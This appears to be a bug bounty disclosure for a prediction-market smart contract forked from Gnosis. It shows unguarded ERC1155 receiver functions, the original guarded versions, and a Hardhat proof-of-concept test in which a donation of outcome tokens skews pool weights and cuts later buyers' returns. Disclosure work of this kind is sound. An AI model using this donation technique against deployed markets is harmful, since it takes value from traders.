https://github.com/hackenproof-public/ignite-market-smart-contracts
A donation attack is possible due to incorrectly implemented onERC1155BatchReceived
and onERC1155Received
functions, which can shift the weight/proportion assigned to each pool. All subsequent buys of that specific outcome/positionId will lead to buyers receiving less than they should (see PoC below). The original Gnosis FPMM contract (which this is a fork of) protects against this vulnerability by only accepting ERC115 transfers when operator is the FPMM contract address only, take a look
The vulnerability exists in the ERC1155 receiver implementation:
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external override returns(bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns(bytes4) {
return this.onERC1155BatchReceived.selector;
}
calcBuyAmount
and calcSellAmount
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns (bytes4)
{
if (operator == address(this)) {
return this.onERC1155Received.selector;
}
return 0x0;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns (bytes4)
{
if (operator == address(this) && from == address(0)) {
return this.onERC1155BatchReceived.selector;
}
return 0x0;
}
add a
.js
file to contract/test/ directory and add the following snippet
const { expect } = require("chai");
const { ethers } = require("hardhat");
const {
getConditionId,
getPositionId,
getCollectionId
} = require('./helpers/id-helpers.js');
const { randomHex } = require('./helpers/utils.js');
describe('FixedProductMarketMaker', function() {
let creator, oracle, investor1, trader, trader2, investor2, treasury;
const questionId = randomHex(32);
const numOutcomes = 3; // 64 originally from gnosis tests
let conditionId;
let collectionIds;
let conditionalTokens;
let collateralToken;
let fixedProductMarketMakerFactory;
let positionIds;
let fixedProductMarketMaker;
const feeFactor = ethers.utils.parseEther("0.003"); // 0.3%
const treasuryPercent = 100; // 1%
const fundingThreshold = ethers.utils.parseUnits("100", 6); // 100 USDC
let marketMakerPool;
const DAY = 60 * 60 * 24;
const endTime = Math.floor(new Date().getTime() / 1000) + DAY;
const addedFunds1 = ethers.utils.parseUnits("100", 6);
const initialDistribution = [];
const expectedFundedAmounts = new Array(numOutcomes).fill(addedFunds1);
before(async function () {
[, creator, oracle, investor1, trader, trader2, investor2, treasury] = await ethers.getSigners();
conditionId = getConditionId(oracle.address, questionId, numOutcomes);
collectionIds = Array.from(
{ length: numOutcomes },
(_, i) => getCollectionId(conditionId, BigInt(1) << BigInt(i))
);
const ConditionalTokens = await ethers.getContractFactory("ConditionalTokens");
const WETH9 = await ethers.getContractFactory("MockCoin");
const FixedProductMarketMakerFactory = await ethers.getContractFactory("FixedProductMarketMakerFactory");
conditionalTokens = await ConditionalTokens.deploy();
collateralToken = await WETH9.deploy();
fixedProductMarketMakerFactory = await FixedProductMarketMakerFactory.deploy();
positionIds = collectionIds.map(collectionId =>
getPositionId(collateralToken.address, collectionId)
);
// Deploy FPMM
await conditionalTokens.prepareCondition(oracle.address, questionId, numOutcomes);
const createArgs = [
conditionalTokens.address,
collateralToken.address,
[conditionId],
feeFactor,
treasuryPercent,
treasury.address,
fundingThreshold,
endTime
];
// Compute salt off-chain (should match the logic you use consistently)
const salt = ethers.utils.keccak256(
ethers.utils.defaultAbiCoder.encode(
[
"address", // creator
"string", // name
"string", // symbol
"address", // conditionalTokens
"address", // collateralToken
"bytes32[]", // conditionIds
"uint256", // fee
"uint256", // treasuryPercent
"address", // treasury
"uint256", // fundingThreshold
"uint256" // endTime
],
[
creator.address,
"FPMM Shares",
"FPMM",
conditionalTokens.address,
collateralToken.address,
[conditionId],
feeFactor,
treasuryPercent,
treasury.address,
fundingThreshold,
endTime
]
)
);
const predictedAddress = await fixedProductMarketMakerFactory
.predictFixedProductMarketMakerAddress(salt);
const createTx = await fixedProductMarketMakerFactory.connect(creator)
.createFixedProductMarketMaker(
conditionalTokens.address,
collateralToken.address,
[conditionId],
feeFactor,
treasuryPercent,
treasury.address,
fundingThreshold,
endTime,
salt
);
await expect(createTx)
.to.emit(fixedProductMarketMakerFactory, 'FixedProductMarketMakerCreation')
.withArgs(
creator.address,
predictedAddress,
...createArgs
);
fixedProductMarketMaker = await ethers.getContractAt(
"FixedProductMarketMaker",
predictedAddress
);
// Fund FPMM
await collateralToken.connect(investor1).deposit({ value: addedFunds1 });
await collateralToken.connect(investor1).approve(fixedProductMarketMaker.address, addedFunds1);
const fundingTx = await fixedProductMarketMaker
.connect(investor1)
.addFunding(addedFunds1, initialDistribution);
const fundingReceipt = await fundingTx.wait();
const fundingEvent = fundingReceipt.events.find(
e => e.event && e.event === 'FPMMFundingAdded'
);
expect(fundingEvent.args.funder).to.equal(investor1.address);
expect(fundingEvent.args.sharesMinted).to.equal(addedFunds1);
const amountsAdded = fundingEvent.args.amountsAdded;
expect(amountsAdded.length).to.equal(expectedFundedAmounts.length);
for (let i = 0; i < amountsAdded.length; i++) {
expect(amountsAdded[i]).to.equal(expectedFundedAmounts[i]);
}
expect(await collateralToken.balanceOf(investor1.address)).to.equal(0);
expect(await fixedProductMarketMaker.balanceOf(investor1.address)).to.equal(addedFunds1);
});
it('donation attack II', async function () {
const investmentAmount = ethers.utils.parseUnits("10", 6);
const buyOutcomeIndex = 1;
await collateralToken.connect(trader).deposit({ value: investmentAmount });
await collateralToken.connect(trader).approve(fixedProductMarketMaker.address, investmentAmount);
const outcomeTokensToBuy = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, buyOutcomeIndex);
await fixedProductMarketMaker.connect(trader).buy(investmentAmount, buyOutcomeIndex, outcomeTokensToBuy);
//
await collateralToken.connect(trader2).deposit({ value: investmentAmount });
await collateralToken.connect(trader2).approve(fixedProductMarketMaker.address, investmentAmount);
let outcomeTokensToBuyBeforeDonationAttack = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, 0);
await fixedProductMarketMaker.connect(trader2).buy(investmentAmount, 0, outcomeTokensToBuyBeforeDonationAttack);
outcomeTokensToBuyBeforeDonationAttack = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, 0);
// Only donate to a specific outcome (e.g., outcome 1)
let sendAmounts = [];
let idsToSend = [];
for(let i = 0; i < positionIds.length; i++){
if (i === 1) { // Only donate outcome 1 tokens
let balanceOfTrader = await conditionalTokens.balanceOf(trader.address, positionIds[i]);
if (balanceOfTrader.gt(0)) {
sendAmounts.push(balanceOfTrader);
idsToSend.push(positionIds[i]);
}
}
}
if (idsToSend.length > 0) {
await conditionalTokens.connect(trader).safeBatchTransferFrom(
trader.address,
fixedProductMarketMaker.address,
idsToSend,
sendAmounts,
"0x"
);
}
const outcomeTokensToBuyAfterDonationAttack = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, 0);
await collateralToken.connect(trader2).deposit({ value: investmentAmount });
await collateralToken.connect(trader2).approve(fixedProductMarketMaker.address, investmentAmount);
await fixedProductMarketMaker.connect(trader2).buy(investmentAmount, 0, outcomeTokensToBuyAfterDonationAttack);
await conditionalTokens.connect(oracle).reportPayouts(questionId, [1, 0, 0]);
const investor1Shares = await fixedProductMarketMaker.balanceOf(investor1.address);
await fixedProductMarketMaker.connect(investor1).removeFunding(investor1Shares);
const winningIndexSet = 1 << 0;
for (let j = 0; j < 3; j++) {
let investor;
j > 0 ? investor = trader2 : investor = investor1;
await conditionalTokens.connect(investor).redeemPositions(
collateralToken.address,
ethers.constants.HashZero,
conditionId,
[winningIndexSet]
);
}
// Assert that the donation attack reduces buying power for that specific outcome
expect(outcomeTokensToBuyAfterDonationAttack).to.be.lt(outcomeTokensToBuyBeforeDonationAttack);
});
});